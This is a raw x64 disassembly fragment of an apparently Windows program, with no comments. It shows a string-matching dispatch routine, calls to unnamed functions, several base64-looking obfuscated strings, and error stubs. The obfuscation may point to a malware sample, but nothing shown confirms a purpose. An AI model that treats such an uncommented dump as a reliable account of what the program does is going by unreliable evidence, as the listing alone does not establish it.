lea rcx, [rsp + 0x60]
call fcn.14014fa10
mov edx, eax
mov rcx, qword [r15 + 0x18]
call fcn.140006e40
nop
lea rcx, [rsp + 0x60]
call fcn.1400305d0
jmp 0x14014f43d
lea rdx, [0x14021e2d8]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
lea r8, [rsp + 0xb68]
mov rdx, rax
mov rcx, rbx
call fcn.140059c50
mov edi, eax
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test edi, edi
je 0x14014ec38
mov qword [rsp + 0x60], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r14b
movsxd rdx, dword [rsp + 0xb68]
add rdx, rbx
nop word [rax + rax]
lea rsi, [rsi + 1]
cmp byte [rbx + rsi], 0
jne 0x14014ebc0
lea r8, [rbx + rsi]
lea r9, [rsp + 0x60]
lea rcx, [rsp + 0xb68]
call fcn.14014f940
mov dword [rsp + 0x88], 0xffffffff
mov dword [rsp + 0xb68], 0xffffffff
lea r8, [rsp + 0xb68]
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x60]
call fcn.1400549f0
mov r8d, dword [rsp + 0xb68]
mov edx, dword [rsp + 0x88]
mov rcx, qword [r15 + 0x18]
call fcn.140007530
nop
lea rcx, [rsp + 0x60]
call fcn.1400305d0
jmp 0x14014f43d
lea rdx, [0x14021e2b8]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
lea r8, [rsp + 0xb68]
mov rdx, rax
mov rcx, rbx
call fcn.140059c50
mov edi, eax
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test edi, edi
je 0x14014ec7c
call fcn.140059bc0
jmp 0x14014f43d
lea rdx, [0x14021e338]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
lea r8, [rsp + 0xb68]
mov rdx, rax
mov rcx, rbx
call fcn.140059c50
mov edi, eax
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test edi, edi
je 0x14014f096
mov qword [rsp + 0x60], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r14b
movsxd rdx, dword [rsp + 0xb68]
add rdx, rbx
nop dword [rax]
lea rsi, [rsi + 1]
cmp byte [rbx + rsi], 0
jne 0x14014ece0
lea r8, [rbx + rsi]
lea r9, [rsp + 0x60]
lea rcx, [rsp + 0xb68]
call fcn.14014f940
lea rcx, [rsp + 0xc0]
call fcn.1400247a0
nop
lea rcx, [rsp + 0x80]
call fcn.1400247a0
nop
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x60]
call fcn.140054db0
lea rcx, [rsp + 0x80]
call fcn.140059bf0
mov esi, eax
cmp eax, 0xffffffff
jne 0x14014eebc
lea rdx, str.bnBtYnNhcg
lea rcx, [rsp + 0xa8]
call fcn.1400322d0
nop
lea rdx, str.Y3BwbXA
lea rcx, [rsp + 0xb0]
call fcn.1400322d0
nop
lea rdx, str.Y3BwS3FlO0dsdF9qZ2JdRGdqY11OX3Jm
lea rcx, [rsp + 0xa0]
call fcn.1400322d0
nop
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rsp + 0x98]
call fcn.1400322d0
nop
mov rdx, rbx
lea rcx, [rsp + 0xb68]
call fcn.1400322d0
nop
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x40]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14004beb0
mov rdi, rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x90]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0x130]
call fcn.14004beb0
mov rbx, rax
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0xb8]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0xc8]
call fcn.14004beb0
nop
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0xb68]
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
lea rcx, [rsp + 0xc8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x130]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xf8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb68]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x98]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xa0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xa8]
call fcn.140006cb0
lea rcx, [rsp + 0xb68]
call fcn.1400247a0
nop
lea rdx, str.eSBfbm4gOHkgI3VxIDh5IF9ubl1xcl9yc3EgOHkgbF9rYyA4ICN1cSAqIHFyX3JzcSA4ICN1cSB7e3t7
lea rcx, [rsp + 0x490]
call fcn.140031030
nop
lea rdx, str.bG1sYw
lea rcx, [rsp + 0x4b0]
call fcn.140031030
nop
lea rdx, str.Z2xxcl9qamNi
lea rcx, [rsp + 0x4d0]
call fcn.140031030
nop
cmp esi, 1
jne 0x14014ef38
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x5b0]
call fcn.140030d20
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.14004bc20
nop
mov ebx, esi
jmp 0x14014ef60
lea rdx, [rsp + 0x4b0]
lea rcx, [rsp + 0x570]
call fcn.140030d20
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.14004bc20
nop
mov ebx, 2
mov dword [rsp + 0x88], ebx
mov rdx, qword [rax]
lea rcx, [rsp + 0xd0]
call fcn.140031030
nop
test bl, 2
je 0x14014ef8b
and ebx, 0xfffffffd
lea rcx, [rsp + 0x40]
call fcn.140006cb0
nop
test bl, 1
je 0x14014ef9d
lea rcx, [rsp + 0x90]
call fcn.140006cb0
lea rcx, [rsp + 0xd0]
call fcn.1400318b0
mov rbx, rax
mov rdi, qword [r15]
lea rdx, [rsp + 0x490]
lea rcx, [rsp + 0x590]
call fcn.140030d20
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.14004bc20
nop
mov qword [rsp + 0x20], rbx
mov r9, qword [rsp + 0xc0]
mov r8, rdi
mov rdx, qword [rax]
lea rcx, [rsp + 0xb68]
call fcn.140025c80
nop
lea rcx, [rsp + 0xb8]
call fcn.140006cb0
lea rdx, [rsp + 0xb68]
lea rcx, [rsp + 0xc8]
call fcn.140031970
mov rdx, rax
mov rcx, r15
call fcn.140149c70
nop
lea rcx, [rsp + 0xd0]
call fcn.140031830
nop
lea rcx, [rsp + 0x4d0]
call fcn.140031830
nop
lea rcx, [rsp + 0x4b0]
call fcn.140031830
nop
lea rcx, [rsp + 0x490]
call fcn.140031830
nop
lea rcx, [rsp + 0xb68]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x80]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xc0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x60]
call fcn.1400305d0
jmp 0x14014f43d
lea rdx, [0x14021e458]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
lea r8, [rsp + 0xb68]
mov rdx, rax
mov rcx, rbx
call fcn.140059c50
mov edi, eax
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test edi, edi
je 0x14014f19f
mov qword [rsp + 0x60], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r14b
movsxd rdx, dword [rsp + 0xb68]
add rdx, rbx
nop word [rax + rax]
lea rsi, [rsi + 1]
cmp byte [rbx + rsi], 0
jne 0x14014f100
lea r8, [rbx + rsi]
lea r9, [rsp + 0x60]
lea rcx, [rsp + 0xb68]
call fcn.14014f940
lea rdx, [0x1401e3cf8]
lea rcx, [rsp + 0x60]
call fcn.14002ee90
mov ebx, 1
mov dword [rsp + 0x88], ebx
mov ebx, 2
mov dword [rsp + 0xb68], ebx
lea rax, [rsp + 0xb68]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x88]
lea r8, [rsp + 0x100]
lea rdx, [rsp + 0xf8]
lea rcx, [rsp + 0x60]
call fcn.140055340
mov edx, dword [rsp + 0xb68]
or edx, dword [rsp + 0x88]
mov rcx, qword [r15 + 0x18]
call fcn.140017640
nop
lea rcx, [rsp + 0x60]
call fcn.1400305d0
jmp 0x14014f43d
lea rdx, [0x14021e358]
lea rcx, [rsp + 0xd0]
call fcn.14004bb30
lea r8, [rsp + 0xb68]
mov rdx, rax
mov rcx, rbx
call fcn.140059c50
mov edi, eax
lea rcx, [rsp + 0xd0]
call fcn.1400305d0
test edi, edi
je 0x14014f26e
mov qword [rsp + 0x60], r14
movdqa xmm0, xmmword [0x1401f4a00]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], r14b
movsxd rdx, dword [rsp + 0xb68]
add rdx, rbx
lea rsi, [rsi + 1]
cmp byte [rbx + rsi], 0
jne 0x14014f200
lea r8, [rbx + rsi]
lea r9, [rsp + 0x60]
lea rcx, [rsp + 0xb68]
call fcn.14014f940
lea rcx, [rsp + 0x60]
call fcn.14014fa10
test eax, eax
setne bl
mov rdx, qword [r15]
lea rcx, [rsp + 0xd0]
call fcn.140031030
nop
movzx edx, bl
lea rcx, [rsp + 0xd0]
call fcn.14015bcc0
nop
lea rcx, [rsp + 0xd0]
call fcn.140031830
nop
lea rcx, [rsp + 0x60]
call fcn.1400305d0
jmp 0x14014f43d
mov rdx, rbx
lea rcx, [rsp + 0x80]
call fcn.1400311a0
nop
lea rdx, str.c2xpbG11bF1zZ11rY3FxX2Vj
lea rcx, [rsp + 0xa8]
call fcn.1400322d0
nop
lea rdx, str.a3FlOyN1cQ
lea rcx, [rsp + 0xb0]
call fcn.1400322d0
nop
lea rcx, [rsp + 0xb68]
call fcn.1400247a0
nop
mov rdx, qword [rsp + 0x80]
lea rcx, [rsp + 0xd0]
call fcn.140031030
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.140033170
nop
mov rbx, qword [rax]
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x40]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.14004beb0
nop
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rsp + 0xb68]
call fcn.140025c80
nop
lea rcx, [rsp + 0x90]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb8]
call fcn.140006cb0
lea rbx, [0x1401e3cf8]
mov rdx, rbx
lea rcx, [rsp + 0xa0]
call fcn.1400322d0
nop
mov rdx, rbx
lea rcx, [rsp + 0x98]
call fcn.1400322d0
nop
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x40]
call fcn.140031970
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.14004beb0
mov rbx, rax
lea rdx, [0x140223b88]
lea rcx, [rsp + 0xd0]
call fcn.140030d20
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.14004bc20
nop
lea rcx, [rsp + 0xa0]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x98]
lea r8, [rsp + 0xb68]
mov rdx, rbx
mov rcx, rax
call fcn.140061650
nop
lea rcx, [rsp + 0x90]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x98]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xa0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb68]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xb0]
call fcn.140006cb0
nop
lea rcx, [rsp + 0xa8]
call fcn.140006cb0
nop
lea rcx, [rsp + 0x80]
call fcn.140006cb0
xor eax, eax
add rsp, 0xb20
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
call fcn.140030df0
nop
call fcn.140030df0
nop
call fcn.140030df0
nop
call fcn.140030df0
nop
call fcn.140189c24
nop
lea rcx, str.invalid_stoi_argument
call fcn.14015c860
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.14015c8a8
nop
call fcn.140189c24
int3
call fcn.140189c24
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140030df0
nop
call fcn.140189c24
nop
call fcn.140189c24
nop
call fcn.140189c24
nop
call fcn.140189c24
nop
call fcn.140189c24
nop
call fcn.140189c24
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140189c24
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140189c24
nop
call fcn.140030df0
nop
call fcn.140189c24
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140030df0
nop
call fcn.140189c24
nop
call fcn.140189c24
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
call fcn.140189c24
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
nop
mov ecx, 0x80004005
call fcn.140032160
int3